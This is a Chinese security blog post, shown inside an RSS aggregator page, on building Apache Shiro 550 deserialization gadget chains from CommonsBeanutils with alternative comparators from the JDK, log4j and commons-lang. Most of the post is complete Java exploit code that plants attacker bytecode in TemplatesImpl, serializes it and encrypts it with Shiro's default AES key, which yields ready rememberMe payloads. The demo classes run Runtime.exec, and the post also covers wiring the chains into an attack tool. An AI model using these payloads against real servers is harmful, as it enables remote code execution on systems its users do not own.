惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Project Zero
Project Zero
Security Latest
Security Latest
G
GRAHAM CLULEY
C
CXSECURITY Database RSS Feed - CXSecurity.com
云风的 BLOG
云风的 BLOG
月光博客
月光博客
V
Visual Studio Blog
C
Cyber Attacks, Cyber Crime and Cyber Security
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
宝玉的分享
宝玉的分享
阮一峰的网络日志
阮一峰的网络日志
雷峰网
雷峰网
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
爱范儿
爱范儿
Attack and Defense Labs
Attack and Defense Labs
罗磊的独立博客
D
DataBreaches.Net
TaoSecurity Blog
TaoSecurity Blog
T
Threatpost
S
Secure Thoughts
T
The Exploit Database - CXSecurity.com
P
Palo Alto Networks Blog
Cisco Talos Blog
Cisco Talos Blog
Google Online Security Blog
Google Online Security Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 聂微东
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
NISL@THU
NISL@THU
Spread Privacy
Spread Privacy
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
PCI Perspectives
PCI Perspectives
P
Proofpoint News Feed
Google DeepMind News
Google DeepMind News
V
V2EX
WordPress大学
WordPress大学
Recorded Future
Recorded Future
Stack Overflow Blog
Stack Overflow Blog
AI
AI
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
The GitHub Blog
The GitHub Blog
T
The Blog of Author Tim Ferriss
D
Docker
Latest news
Latest news
C
CERT Recently Published Vulnerability Notes
D
Darknet – Hacking Tools, Hacker News & Cyber Security
B
Blog RSS Feed
V2EX - 技术
V2EX - 技术
小众软件
小众软件
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO

SumSec's Blog

AI Agent 工程的必然演进:CLI、Skills、Harne… 从安全角度谈Java反射机制--前章 · SUMSEC 从安全角度谈Java反射机制--终章 · SUMSEC 逆向学习fastjson反序列化始 · SUMSEC 2020年研究回顾总结 · SUMSEC Abstract syntax tree classes for … Analyzing data flow in Java · SUM… Annotations in Java · SUMSEC Basic query for Java code · SUMSEC BypassSuper使用介绍说明 · SUMSEC CodeQL Create OpenJdk/Jdk8 Databa… CodeQL library for Java · SUMSEC Navigating the call graph · SUMSEC Overflow-prone comparisons in Jav… Types in Java · SUMSEC Working with source locations · S… Aliases · SUMSEC Expression · SUMSEC Formulas · SUMSEC Javadoc · SUMSEC Modules · SUMSEC Predicates · SUMSEC Queries · SUMSEC Type · SUMSEC Variables · SUMSEC 一道shiro反序列化题目引发的思考 · SUMSEC 修改ysoserial使其支持任意代码执行 · SUMSEC 自定义 ClassLoader 隔离运行不同版本jar包的方式 ·… 2020网鼎杯---Java文件上传wp · SUMSEC CNVD-2020-10487(CVE-2020-1938)tom… JDSRC安全课笔记 · SUMSEC Java反序列化链回显解决方案 · SUMSEC Skipped breakpoint because it hap… Windows Terminal 配置文件 · SUMSEC bypass 学习笔记之绕安全狗bypass safedog · … 一次意外的代码审计----JfinalCMS审计 · SUMSEC 一篇文章读懂Java代码审计之XXE · SUMSEC 从安全角度谈Java反射机制--序章 · SUMSEC 小楼昨夜又春风,你知ysoserial-Gadget-URLDNS… 春眠不觉晓,RCE知多少? · SUMSEC 漫谈Commons-Collections反序列化 · SUMSEC 漫谈Java反序列化 · SUMSEC 白头搔更短,SSTI惹人心! · SUMSEC 记一次面试题 · SUMSEC About Me 关于我 · SUMSEC Apache Flink任意Jar包上传导致远程代码执行 · SU… CVE-2019-1388 UAC提权复现 · SUMSEC CVE-2019-16097 || Harbor任意管理员注册漏洞… Python加密shellcode免杀 · SUMSEC Telegram机器人作为渗透测试框架 · SUMSEC VM虚拟机无法安装vmtools解决|本程序需要您将此虚拟机上安装… 谁能想到,电视遥控器竟成了 Vibe Coding 神器 · SU… 从手改 Skill 到自动进化:评测结果和执行轨迹如何让 Agen… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的SKIL… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的Skil… AI 时代 ShiroAttack2 5.x:修改了什么 · SU… 在 AGI 降临前,先给 AI 开一条”脑内弹幕”通道 · SUM… 一篇博文,三种时间:网页幻灯与 Remotion 动效的交付逻辑 … 🔍 别让大模型”想太多”:SKILL开发中的语义陷阱与抗幻觉设计 … 2022 年年度总结 · SUMSEC Java Swing To RCE 漏洞分析 · SUMSEC SpringBoot GatewayEL表达式漏洞分析 · SUM… Sensitive keys in codebases · SUM… 论如何优雅注入 Java 内存马 · SUMSEC SUMSEC 知识点 · SUMSEC VMWare Workspace ONE Access Auth … Spring Framework RCE CVE-2022-229… 相似度算法调研 · SUMSEC CVE-2022-33891 Apache Spark shell… 正则匹配配置不当 · SUMSEC Spring Data MongoDB SpEL CVE-2022… CodeQl Usage Tricks · SUMSEC Spring Boot RCE到内存马探索 · SUMSEC Shiro后渗透拓展面 · SUMSEC shiro反序列化漏洞攻击拓展面–修改key · SUMSEC GitHub Java CodeQL CTF · SUMSEC Hack-Tools 转化成Web · SUMSEC CodeQL初见Shiro550 · SUMSEC CodeQL与AST之间联系 · SUMSEC Java加载动态链接库 · SUMSEC Log4j2 漏洞分析 · SUMSEC Interprocedural-Analysis 过程间分析 · … Data Analysis Foundation 数据分析基础 ·… Data Flow Analysis · SUMSEC Intermediate Representation 中间代表(… PII泄露–用CodeQL识别日志中的PII数据 · SUMSEC CodeQL workshop for Java: Unsafe … 前言 · SUMSEC 漏洞环境的搭建 · SUMSEC Fastjson回显 · SUMSEC Tomcat通用回显学习笔记 · SUMSEC 从Java反序列化漏洞题看CodeQL数据流 · SUMSEC 概述 · SUMSEC 记一次Log4j失败的Gadget挖掘记录 · SUMSEC Ysoserial改造记录 · SUMSEC JNDI注入 · SUMSEC shiro JRMP gadget · SUMSEC Fastjson MySQL gadget复现 · SUMSEC 2021年度总结 · SUMSEC
CodeQL与Shiro550碰撞 · SUMSEC
2023-01-09 · via SumSec's Blog

JDK内置

上文说到,在JDK8u中查到了结果,一共又7个类可以替代ComparableComparator类。但可以直接调用实例化的类只用两个,String#CASE_INSENSITIVE_ORDERAttrCompare,其他5个类权限皆是private 。不能直接调用,只能通过反射调用,不过两个类也够用了,故本文只说这两个,其他的类有兴趣可以去看看。


AttrCompare

Compares two attributes based on the C14n specification.(根据C14n规范比较两个属性)。这段话是官方对该类的描述。AttrCompare是在包com.sun.org.apache.xml.internal.security.c14n.helper下的一个类,是用Attr接口实现类比较方法。

public int compare(Attr attr0, Attr attr1) {
        String namespaceURI0 = attr0.getNamespaceURI();
        String namespaceURI1 = attr1.getNamespaceURI();

        boolean isNamespaceAttr0 = XMLNS.equals(namespaceURI0);
        boolean isNamespaceAttr1 = XMLNS.equals(namespaceURI1);

        if (isNamespaceAttr0) {
            if (isNamespaceAttr1) {
                // both are namespaces
                String localname0 = attr0.getLocalName();
                String localname1 = attr1.getLocalName();

                if ("xmlns".equals(localname0)) {
                    localname0 = "";
                }

                if ("xmlns".equals(localname1)) {
                    localname1 = "";
                }

                return localname0.compareTo(localname1);
            }
            // attr0 is a namespace, attr1 is not
            return ATTR0_BEFORE_ATTR1;
        } else if (isNamespaceAttr1) {
            // attr1 is a namespace, attr0 is not
            return ATTR1_BEFORE_ATTR0;
        }

        // none is a namespace
        if (namespaceURI0 == null) {
            if (namespaceURI1 == null) {
                String name0 = attr0.getName();
                String name1 = attr1.getName();
                return name0.compareTo(name1);
            }
            return ATTR0_BEFORE_ATTR1;
        } else if (namespaceURI1 == null) {
            return ATTR1_BEFORE_ATTR0;
        }

        int a = namespaceURI0.compareTo(namespaceURI1);
        if (a != 0) {
            return a;
        }

        return (attr0.getLocalName()).compareTo(attr1.getLocalName());
    }

compare方法是一个有参方法,所以在调用方法时并不能直接传入两个String类型或者Object类型。

11

然而Attr是一个接口,不能直接实例化,只能找实现类。这里我使用的是com\sun\org\apache\xerces\internal\dom\AttrNSImpl.java类。

image-20220221183035494

        AttrCompare attrCompare = new AttrCompare();
        AttrNSImpl attrNS = new AttrNSImpl();
        attrNS.setValues(new CoreDocumentImpl(),"1","1","1");
        attrCompare.compare(attrNS,attrNS);

最终利用代码:

package summersec.shirodemo.Payload;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;



public class CommonsBeanutilsAttrCompare {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        AttrNSImpl attrNS1 = new AttrNSImpl(new CoreDocumentImpl(),"1","1","1");

        final BeanComparator comparator = new BeanComparator(null, new AttrCompare());
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(attrNS1);
        queue.add(attrNS1);


        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());

        byte[] payloads = new CommonsBeanutilsAttrCompare().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }

}

最终实际结果


String#CASE_INSENSITIVE_ORDER

该类在p牛文章详细介绍了,这里直接贴代码吧。

package summersec.shirodemo.Payload;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

/**
 * @ClassName: CommonsBeanutils1Shiro
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/5/19 16:23
 * @Version: v1.0.0
 * @Description: 参考https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
 **/


public class CommonsBeanutilsString {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());
//        byte[] bytes = Evil.class.getName().getBytes();
//        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(bytes);
        byte[] payloads = new CommonsBeanutilsString().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }

}

第三方依赖

在挖掘完前面两个类的时候,我就在想其他第三方组件里面会不会存在呢?于是乎就有了下面的结果,测试了43个开源项目,其中15个有。这里只谈论了两个组件apache/log4j、apache/Commons-lang

image-20220221183209062


PropertySource#Comparator

PropertySource#Comparator是在组件log4j-api下的一个类,log4j是Apache基金会下的一个Java日志组件,宽泛被应用在各大应用上,在spring-boot也能看到其身影。

image-20220221183100323

image-20220221183140909

PropertySource#Comparator的代码只有八行,其中比较方法也是有参方法,参数类型是PropertySource

class Comparator implements java.util.Comparator<PropertySource>, Serializable {
    private static final long serialVersionUID = 1L;

    @Override
    public int compare(final PropertySource o1, final PropertySource o2) {
        return Integer.compare(Objects.requireNonNull(o1).getPriority(), Objects.requireNonNull(o2).getPriority());
    }
}

构造成gadget链的最终代码如下,在第38行开始是实现接口PropertySource的,不过也可以只写一个实现类就行。

ps:这里就不在演示效果。

package summersec.shirodemo.Payload;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.logging.log4j.util.PropertySource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;




public class CommonsBeanutilsPropertySource<pubilc> {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        PropertySource propertySource1 = new PropertySource() {

            @Override
            public int getPriority() {
                return 0;
            }

        };
        PropertySource propertySource2 = new PropertySource() {

            @Override
            public int getPriority() {
                return 0;
            }

        };

        final BeanComparator comparator = new BeanComparator(null, new PropertySource.Comparator());
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later

        queue.add(propertySource1);
        queue.add(propertySource2);

        setFieldValue(comparator, "property", "outputProperties");
//        setFieldValue(comparator, "property", "output");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }

    public static class Evils extends AbstractTranslet {
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

        public Evils() throws Exception {
            System.out.println("Hello TemplatesImpl");
            Runtime.getRuntime().exec("calc.exe");
        }
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evils.class.getName());
        byte[] payloads = new CommonsBeanutilsPropertySource().getPayload(clazz.toBytecode());
        ByteArrayInputStream bais = new ByteArrayInputStream(payloads);
//        System.out.println(bais.read());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();


//        AesCipherService aes = new AesCipherService();
//        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
//
//        ByteSource ciphertext = aes.encrypt(payloads, key);
//        System.out.printf(ciphertext.toString());
    }

}

ObjectToStringComparator

ObjectToStringComparator是apache属于下的Commons-lang组件,也是一个比较典型的组件。

image-20220221183227584

该类的Compare方法参数是Object类型,比较简单。

直接贴出代码:

package summersec.shirodemo.Payload;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.lang3.compare.ObjectToStringComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;




public class CommonsBeanutilsObjectToStringComparator<pubilc> {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        ObjectToStringComparator stringComparator = new ObjectToStringComparator();


        final BeanComparator comparator = new BeanComparator(null, stringComparator);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(stringComparator);
        queue.add(stringComparator);



        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }

    public static class Evils extends AbstractTranslet {
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

        public Evils() throws Exception {
            System.out.println("Hello TemplatesImpl");
            Runtime.getRuntime().exec("calc.exe");
        }
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evils.class.getName());
        byte[] payloads = new CommonsBeanutilsObjectToStringComparator().getPayload(clazz.toBytecode());


        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }

}

集成化–自动化

挖掘之后在想如何集成到工具里面时,使用shiro_attack发现,该工具里面是集成p牛的链。但本地测试的时候没有成功,看环境报错问题还是**serialVersionUID **的问题。可惜2.0版本的shiro_attack并不开源,拿着1.5版本的源码将其去掉了原依赖的CommonsBeanutils组件,并且将shiro的版本改成了1.2.4。

玩到后面,我想了一个问题。如果开发人员,没有以这种方式去掉依赖或者其他方式去掉该依赖,亦或者依赖了更高的版本CommonsBeanutils依赖,那么shiro550漏洞在有key的情况下,是几乎不可能拿不下的!

    <exclusions>
    <exclusion>
    <artifactId>org.apache.commons</artifactId>
    <groupId>commons-beanutils</groupId>
    </exclusion>
    </exclusions>

那么就是以下的情况,只需要在挖掘更多的gadget和解决高版本CommonsBeanutils的serialVersionUID不同问题。

image-20220221183250833

目前CommonsBeanutils最高版本是1.9.4(截至本文创作时间)

CommonsBeanutils的1.9.4的升级描述是,也就是说默认情况下还是存在反序列化漏洞的,实测也存在着。

A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the class property of Java objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows class level property access by default, thus protecting against CVE-2014-0114.

在1.9.2版本中加入了一个特殊的BeanIntrospector类。这可以用来阻止攻击者使用Java对象的class属性来获得对classloader的访问。然而,这种保护在默认情况下是不启用的。PropertyUtilsBean(以及随之而来的BeanUtilsBean)现在默认不允许类级属性访问,从而防止CVE-2014-0114。

在这里插入图片描述


总结

理论上JDK内置的两个gadget是只要存在CommonsBeanutils组件(无论版本)是一定可以拿下的shiro550的,但作为一种思路我还是去研究了其他的组件。本文还是遗漏一个问题,遇到不同版本的CommonsBeanutils如何解决serialVersionUID 不同的问题?我能目前能想到方法是,首先判断CommonsBeanutils组件的版本,这个问题还是做不到。只能盲猜,用盲打的方式一个个版本尝试一次,但此方法还是比较耗时耗力。

  1. CommonsBeansutils 在shiro-core1.2.4是1.8.3版本,高版本的shiro里面的版本不同。

    • String.CASE_INSENSITIVE_ORDER –> JDK
    • AttrCompare –> JDK
    • ObjectToStringComparator –> apache/commons-lang
    • PropertySource.Comparator() –> apache/log4j

    ……..

其实在看p牛的文章的时间花了很久很久,基本上有一段时间文章链接在浏览器一直是存在的。其中还有一段时间我又去研究回显了,在机缘巧合的一天,妹子没回我消息。我重新打开电脑,研究起来然后灵光一闪……

如有错误还请谅解,本文只是个人见解。


参考

https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html